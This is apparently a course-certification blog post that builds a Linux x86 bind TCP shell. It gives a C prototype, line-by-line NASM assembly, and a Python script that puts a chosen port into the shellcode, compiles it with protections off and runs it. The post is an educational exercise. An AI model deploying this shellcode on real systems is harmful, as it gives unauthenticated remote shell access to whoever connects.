Comment on page
0x01 SLAE - Bind TCP
The first assignment for the Shellcoding Linux Assembly Language x86 is a Shell Bind TCP in shellcode. Before having a working shellcode, I have taken different steps to understand better the structure and how assembly work.
Foremost, I have developped a working tcp bind shell in C language, since C is the closest programming language before assembly. Then, I translated the C code in assembly. I divided each section by syscall. Finally, I created a simple python script that generate our shellcode from a custom port.
First thing first, we have to open a socket using the socket function in C. We also need to initialize our parameter for the ip and port that we want to open the socket. Since, it's a bind tcp, we are listening for remote connection. So, we will use the local ip.
In the following block of code, we are initializing arguments and creating a socket from the function socket in C. The first argument
AF_INET
is the domain which mean that we are using IPv4. The second argument is the type of communication. Here we are using TCP and this correspond to SOCK_STREAM
. The last argument correspond to the protocol value. Thus, we are using 0 as IP protocol.// initialization
struct sockaddr_in bind_addr;
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = INADDR_ANY;
bind_addr.sin_port = htons(8888);
// syscall socket, open a socket
int sock = socket(AF_INET, SOCK_STREAM, 0);
The next step is to bind the socket that use the ip address and the port. The first argument is the return value of the socket creation. The
&bind_addr
is the struct of the value that we have initialize upper. The last argument is the size of the struct.// bind a name to the socket
bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));
In this step, we need to use the function
listen
for listening incoming connection and put it in a queue. The listen function takes 2 arguments. The first one is the return value of the socket function. The last argument specify the maximum length of the queue. Since, we don't want more than 1 connection, we can put this value at 0.// listen for connections on a socket
listen(sock, 0);
The next step is to accept connection. We will use the accept function with three arguments. The first one is the return value of the socket. The second and third one can be set at NULL because we don't need it.
Indeed, we will need to redirect the input, output and error of the remote shell. To do this, we will use the dup2 function which duplicate the file descriptor.
- 0 : stdin
- 1 : stdout
- 2 : stderr
// return the stdin to client
dup2(opensock, 0);
// return the stdout to client
dup2(opensock, 1);
//return the stderr to client
dup2(opensock, 2);
The last system call is execve which can execute a program. In the following line of code, we are calling
/bin/sh
to open a shell to the client.// execve open a shell
execve("/bin/sh", NULL, NULL);
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void){
// initialization
struct sockaddr_in bind_addr;
bind_addr.sin_family = AF_INET;
bind_addr.sin_addr.s_addr = INADDR_ANY;
bind_addr.sin_port = htons(8888);
// syscall socket, open a socket
int sock = socket(AF_INET, SOCK_STREAM, 0);
// bind a name to the socket
bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));
// listen for connections on a socket
listen(sock, 0);
// accept connection
int opensock = accept(sock, NULL, NULL);
// return the stdin to client
dup2(opensock, 0);
// return the stdout to client
dup2(opensock, 1);
//return the stderr to client
dup2(opensock, 2);
// execve open a shell
execve("/bin/sh", NULL, NULL);
}
The assembly version is more complex when you start coding assembly. I have divided each function call by section as I did for the C prototype.
Creating a socket in assembly is a bit different since the most compatible syscall for using socket is
socketcall
. Indeed, from the man page of socketcall:On x86-32, socketcall() was historically the only entry point for the sockets API. However, starting in Linux 4.3, direct system calls are pro‐ vided on x86-32 for the sockets API.
Thus, to make sure that our shellcode is compatible with every linux kernel, I will stay with the syscall socketcall.
Before creating our socket, we will clean our registers to make sure they are null and we can use it later.
; clean registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
Then, we need to translated the C version in assembly. As I learned in this SLAE, to do a syscall we need to get the syscall # of the socketcall from
/usr/include/x86_64-linux-gnu/asm/unistd_32.h
.
screenshot from 2018-12-27 11-00-05
In that way, we can write our first line of assembly which will contain the integer value 102. Also, it is important to store the value in the 8 bytes registers to avoid null byte. This is why we will store it in
al
.; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102 ; socketcall
Then, socketcall can be aslo used to bind, listen and accept. So, we need ot specify which type of call we want to use. From the definition :

screenshot from 2018-12-27 11-08-36
From the file
/usr/include/linux/net.h
, we can see that the value for the SYS_SOCKET
is 1. Thus, our next register will contain that value to indicate that we want to create a socket.; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102 ; socketcall
mov bl, 1 ; SYS_SOCKET
The third line of assembly will push our 3 arguments to the stack (i.e : AF_INET, SOCK_STREAM, 0). Since, the stack work from first in last out, we need to push our last argument in first. We also cleaned our register at the start. In this way, the register ecx already contain 0. The
push ebx
, will push the argument SOCK_STREAM
. Since the value of SOCK_STREAM
from the definition is 0, we can push ebx straight because the current value is 0. The final push is the value 2 because the value of AF_INET is 2 from the definition in the file /usr/include/x86_64-linux-gnu/bits/socket.h
. Finally, we can move the 3 arguments value in the stack in esp and do the syscall. We also need to store the return value of the socket because we will use it later.; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102 ; socketcall
mov bl, 1 ; SYS_SOCKET
push ecx ; 0 protocol
push ebx ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; stack contains our 3 arguments
int 0x80 ; syscall
mov edi, eax ; store the socket in edi
Before binding the socket, I initialize the structure value for the
bind_addr
. To do this, I pushed to the stack the following :; bind_addr.sin_family = AF_INET;
; bind_addr.sin_addr.s_addr = INADDR_ANY;
; bind_addr.sin_port = htons(8888);
push edx ; INADDR_ANY
push word 0xb822 ; listen on port 8888
push word 2 ; AF_INET
mov ecx, esp ; stack contain our 3 arguments
The first line is pushing 0 to the stack because the value for
INADDR_ANY
from the definition is 0. Then, hex(8888)
is 0x22b8
, we push it to the stack. We also see earlier that AF_INET
, so we push 2 to the stack. And finally, we move our 3 arguments from the stack in ecx because we will use theses arguments later.The next step is to do the bind syscall. We will start by using socketcall with
SYS_BIND
. The value of SYS_BIND
is 2. Then, we push 0x10
which is 16 bytes because we have 3 arguments upper (8+8+8). We aslo push ecx which contains our 3 arguments struct. Then, we push edi which contains the return value of the creation of the socket.; bind syscall
; bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));
mov al, 102 ; socketcall
mov bl, 2 ; SYS_BIND
push 0x10 ; size of struct
push ecx ; push ecx to the stack which contains bind_addr struct
push edi ; push the socket
mov ecx, esp ; stack contains our 3 arguments
int 0x80 ; syscall
The listen and accept is pretty straight forward. We will also use the socketcall syscall function. However, we will use
SYS_LISTEN
and SYS_ACCEPT
. We will push our arguments to the stack and save the return value of the accept call.; listen syscall
; listen(sock, 0);
mov al, 102 ; socketcall
mov bl, 4 ; SYS_LISTEN
push edx ; push 0
push edi ; push the socket
mov ecx, esp ; stack contains our 2 arguments
int 0x80 ; syscall
; accept syscall
; int opensock = accept(sock, NULL, NULL);
mov al, 102 ; socketcall
mov bl, 5 ; SYS_ACCEPT
push edx ; push null
push edx ; push null
push edi ; push the socket
mov ecx, esp ; stack contains our 3 arguments
int 0x80 ; syscall
mov ebx, eax ; save return value opensock
For this syscall, we will use the dup2 call which the value is
63
. We only need to push 2 arguments. The last one is the stdin for the first call. The first argument is the return value of the accept call which is stored in ebx.; dup2 stdin syscall
; dup2(opensock, 0);
xor ecx, ecx ; clean ecx
mov al, 63 ; dup2
; we don't push 0, since ecx is already NULL from the xor
push ebx ; first argument: opensock
int 0x80 ; syscall
And the two others dup2 call for stdout and stderr.
; dup2 stdout syscall
; dup2(opensock, 1);
mov al, 63 ; dup2
mov cl, 1 ; stdout
push ebx ; first argument: opensock
int 0x80 ; syscall
; dup2 stderr syscall
; dup2(opensock, 2);
mov al, 63 ; dup2
mov cl, 2 ; stderr
push ebx ; first argument: opensock
int 0x80 ; syscall
Finally, we have our execve syscall from the SLAE documentation.
; execve syscall
; execve("/bin/sh", NULL, NULL);
xor eax, eax ; clean registers
push eax ; push eax to the top of the stack
push 0x68732f2f ; push 8 bytes //bin/sh
push 0x6e69622f
mov ebx, esp ; //bin/sh in ebx
mov ecx, eax ; null in ecx
mov edx, eax ; null in edx
mov al, 11 ; execve
int 0x80 ; syscall
; Shell Bind TCP
global _start
_start:
; clean registers
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; socket syscall
; socket(AF_INET, SOCK_STREAM, 0);
mov al, 102 ; socketcall
mov bl, 1 ; SYS_SOCKET
push ecx ; 0 protocol
push ebx ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; stack contains our 3 arguments
int 0x80 ; syscall
mov edi, eax ; store the socket in edi
; bind_addr.sin_family = AF_INET;
; bind_addr.sin_addr.s_addr = INADDR_ANY;
; bind_addr.sin_port = htons(8888);
push edx ; INADDR_ANY
push word 0xb822 ; listen on port 8888
push word 2 ; AF_INET
mov ecx, esp ; stack contain our 3 arguments
; bind syscall
; bind(sock, (struct sockaddr *) &bind_addr, sizeof(bind_addr));
mov al, 102 ; socketcall
mov bl, 2 ; SYS_BIND
push 0x10 ; size of struct
push ecx ; push ecx to the stack which contains bind_addr struct
push edi ; push the socket
mov ecx, esp ; stack contains our 3 arguments
int 0x80 ; syscall
; listen syscall
; listen(sock, 0);
mov al, 102 ; socketcall
mov bl, 4 ; SYS_LISTEN
push edx ; push 0
push edi ; push the socket
mov ecx, esp ; stack contains our 2 arguments
int 0x80 ; syscall
; accept syscall
; int opensock = accept(sock, NULL, NULL);
mov al, 102 ; socketcall
mov bl, 5 ; SYS_ACCEPT
push edx ; push null
push edx ; push null
push edi ; push the socket
mov ecx, esp ; stack contains our 3 arguments
int 0x80 ; syscall
mov ebx, eax ; save return value opensock
; dup2 stdin syscall
; dup2(opensock, 0);
xor ecx, ecx ; clean ecx
mov al, 63 ; dup2
; we don't push 0, since ecx is already NULL from the xor
push ebx ; first argument: opensock
int 0x80 ; syscall
; dup2 stdout syscall
; dup2(opensock, 1);
mov al, 63 ; dup2
mov cl, 1 ; stdout
push ebx ; first argument: opensock
int 0x80 ; syscall
; dup2 stderr syscall
; dup2(opensock, 2);
mov al, 63 ; dup2
mov cl, 2 ; stderr
push ebx ; first argument: opensock
int 0x80 ; syscall
; execve syscall
; execve("/bin/sh", NULL, NULL);
xor eax, eax ; clean registers
push eax ; push eax to the top of the stack
push 0x68732f2f ; push 8 bytes //bin/sh
push 0x6e69622f
mov ebx, esp ; //bin/sh in ebx
mov ecx, eax ; null in ecx
mov edx, eax ; null in edx
mov al, 11 ; execve
int 0x80 ; syscall
We can see in the following image that we can successfully execute remote command from the remote shell.


Before running the script, we need to set our desired port in the script in hex as it is described in the comment. Then, we can run the shellcode by running the following python script.
import os
import commands
'''
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(8888)
'0x22b8'
'''
port = "\\x22\\xb8" # port 8888
shellcode = "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x66\\xb3\\x01\\x51\\x53\\x6a\\x02" \
"\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x52\\x66\\x68" + port + "\\x66\\x6a\\x02" \
"\\x89\\xe1\\xb0\\x66\\xb3\\x02\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04" \
"\\x52\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x57\\x89\\xe1\\xcd" \
"\\x80\\x89\\xc3\\x31\\xc9\\xb0\\x3f\\x53\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\x53\\xcd" \
"\\x80\\xb0\\x3f\\xb1\\x02\\x53\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68" \
"\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\""
f = open("shellcode.c", "w")
f.write("#include<stdio.h>\n\
#include<string.h>\n\
unsigned char code[] = \\\n\
"+ shellcode + ";\n\
main(){\n\
\tint (*ret)() = (int(*)())code;\n\
\tret();\n\
}")
f.close()
print "[*] Running the shellcode"
commands.getstatusoutput("gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode")
os.system("./shellcode")
I hope you enjoy this blog post. I have to mention that
strace
and gdb
has been really useful to debug my assembly program. If you never had the chance to play with, I highly suggest to play with it.This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification
Student ID: SLAE-1374
Last modified 4yr ago